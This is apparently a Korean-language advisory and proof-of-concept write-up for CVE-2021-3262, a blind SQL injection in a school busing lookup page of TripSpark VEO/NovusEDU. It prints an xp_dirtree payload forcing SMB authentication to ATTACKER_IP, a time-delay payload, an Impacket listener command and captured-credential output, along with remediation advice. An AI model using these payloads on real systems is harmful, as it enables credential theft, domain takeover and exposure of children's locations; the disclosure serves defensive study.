
CVE-2021-3262 - TripSpark VEO Transportation / NovusEDU의 editOEN 매개변수에서의 블라인드 SQL 인젝션. 인증되지 않음, 인터넷 노출. 페이로드, 주석이 달린 요청 및 증거.
TripSpark VEO Transportation / NovusEDU의 SQL 인젝션
TripSpark VEO Transportation에 포함된 공용 "Student Busing Information" 조회 페이지는 인증되지 않은 POST 본문 입력을 받아 매개변수화 또는 서버 측 검증 없이 SQL Server 쿼리에 직접 연결합니다. editOEN 매개변수(학생 번호 필드)에 인젝션이 가능합니다.
인젝션은 블라인드 방식입니다: 애플리케이션이 데이터베이스 오류를 반환하지 않고 읽을 만한 차별적 콘텐츠도 없습니다. 그러나 데이터베이스 연결이 master.dbo.xp_dirtree에 도달할 수 있기 때문에 대역 외(out-of-band)로 완전히 악용 가능합니다. 이렇게 하면 SQL Server 서비스 계정이 공격자가 제공한 UNC 경로에 대해 SMB를 통해 아웃바운드 인증을 수행하게 됩니다.
외부 침투 테스트 중 발견되었습니다. 원래 작업에서 캡처된 서비스 계정 자격 증명은 클라이언트의 Active Directory 도메인 및 포리스트 전체를 장악하는 발판이 되었습니다.
CVE-2021-3262로 게시되었습니다. Show Up Show Out Security의 Sedric Louissaint가 발견하고 보고했습니다.
| CVE | CVE-2021-3262 |
| 제품 | TripSpark VEO Transportation / NovusEDU |
| 영향을 받는 버전 | NovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS |
| 취약점 | CWE-89: SQL Injection |
| CVSS 3.1 (NVD) | 9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (연구자) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| 게시일 | 2023-08-29 |
| 테스트 환경 | Windows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64) |
| 인증 필요 | 없음. 조회 페이지는 설계상 인터넷에 노출되어 있습니다. |
NVD 설명:
TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 및 NovusEDU-2.2.x-XP_BB-20201123-184084는 서버 측 로직을 사용한 검증 없이 최종 사용자의 POST 본문 매개변수에 안전하지 않은 데이터 입력을 허용합니다. 'Student Busing Information' 검색 쿼리에 사용자 정의 SQL 명령을 주입할 수 있었습니다.
교육구는 부모가 학생의 버스 배정을 조회할 수 있도록 공식 웹사이트에 'Student Busing Information' 페이지를 배포합니다. 이 페이지는 학생 N 번호와 생년월일을 요구하며, 의도적으로 인증되지 않습니다.

N 번호 필드는 editOEN으로 전송됩니다. 생년월일은 cboxMonth, cboxDay, cboxYear로 전송됩니다. editOEN이 인젝션 가능한 매개변수입니다.
이 시대의 많은 ASP.NET 애플리케이션과 달리, 이 페이지는 데이터베이스 오류를 반환하지 않습니다. 올바르게 구성된 쿼리와 손상된 쿼리 사이에 눈에 띄는 차이가 없으므로 인밴드(in-band) 기술은 막다른 골목입니다.
스택 쿼리가 실행되며, 이는 필요한 전부입니다.
master.dbo.xp_dirtree는 디렉터리를 열거합니다. UNC 경로가 주어지면 SQL Server는 읽기 전에 SMB를 통해 대상 호스트에 인증합니다. 이를 리스너로 지정하면 조용한 인젝션이 가시적인 인젝션으로 바뀝니다:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

요청은 일반적인 ASP.NET WebForms POST이며, 약 4,700바이트이고 대부분이 __VIEWSTATE입니다. 전체 요청은 poc/exploited-request.http에, 페이로드는 poc/payloads.sql에 있습니다.

Impacket의 smbserver.py가 공용 인터넷 호스트에서 수신 대기하는 상태에서 교육구 네트워크 내부의 데이터베이스 서버가 아웃바운드 인증을 수행합니다:
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

명시적으로 언급할 가치가 있는 두 가지 사항이 있습니다. 첫째, 이는 인증되지 않은 인터넷 노출 폼이 프로덕션 데이터베이스에 도달하는 것입니다. 둘째, 해당 데이터베이스 서버가 임의의 인터넷 호스트로 아웃바운드 SMB 연결을 허용했기 때문에 블라인드 인젝션이 관찰 가능해졌습니다.
인젝션 자체 외에도, SQL Server 서비스 계정에 대해 캡처된 NTLMv2 자격 증명은 원래 작업의 초기 발판이었습니다. 그로부터 평가는 클라이언트의 Active Directory 도메인 및 포리스트 전체를 장악하는 수준으로 확대되었습니다.
위험에 처한 데이터는 학생 교통 기록입니다: 이름, 집 주소, 배정된 버스, 배정된 정류장, 픽업 시간, 특별 교육 경로. 이는 식별 가능한 아동이 알려진 시간에 물리적으로 어디에 있을지에 대한 일정입니다.
소유하거나 테스트할 권한이 있는 실험실 인스턴스를 대상으로:
sudo smbserver.py c . -smb2support
poc/payloads.sql의 xp_dirtree 페이로드를 자신의 IP로 대체하여 제출합니다. 필드에 클라이언트 측 길이 제한이 있는 경우 브라우저에 입력하지 말고 POST를 캡처하여 재생하십시오. 서버 측에는 해당 제한이 없기 때문입니다.123'; waitfor delay '0:0:10';--
poc/
payloads.sql Detection, time-based and out-of-band payloads for editOEN
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations for a blind stacked-query injection
media/
01-student-busing-information-page.png
02-editoen-payload-in-burp.png
03-forced-auth-captured-impacket.png
04-exploited-http-request.png
캡처된 클라이언트 식별자는 편집되었습니다. 리스너 주소는 원래 작업에서 가져온 것으로 오래전에 폐기되었습니다. 재현할 때 자신의 것으로 대체하십시오.
editOEN을 매개변수로 바인딩하면 페이로드에 무엇이 있든 상관없이 불활성 문자열이 됩니다.xp_dirtree 및 기타 확장 저장 프로시저에 대한 액세스를 취소하십시오.| 날짜 | 이벤트 |
|---|---|
| 2021 | 외부 침투 테스트 중 발견되어 TripSpark에 보고됨 |
| 2023-08-29 | CVE-2021-3262가 NVD에 게시되었으며, CVSS 9.8 Critical로 평가됨 |
공개 후 방어 및 교육 목적으로 게시되었습니다. 소유하지 않거나 테스트에 대한 서면 승인이 없는 시스템에서 이러한 페이로드를 실행하지 마십시오. 교육구 배포를 관리하는 경우, 여기서 유용한 조치는 공개 양식 뒤의 쿼리가 매개변수화되었는지 여부를 공급업체에 서면으로 문의하는 것입니다.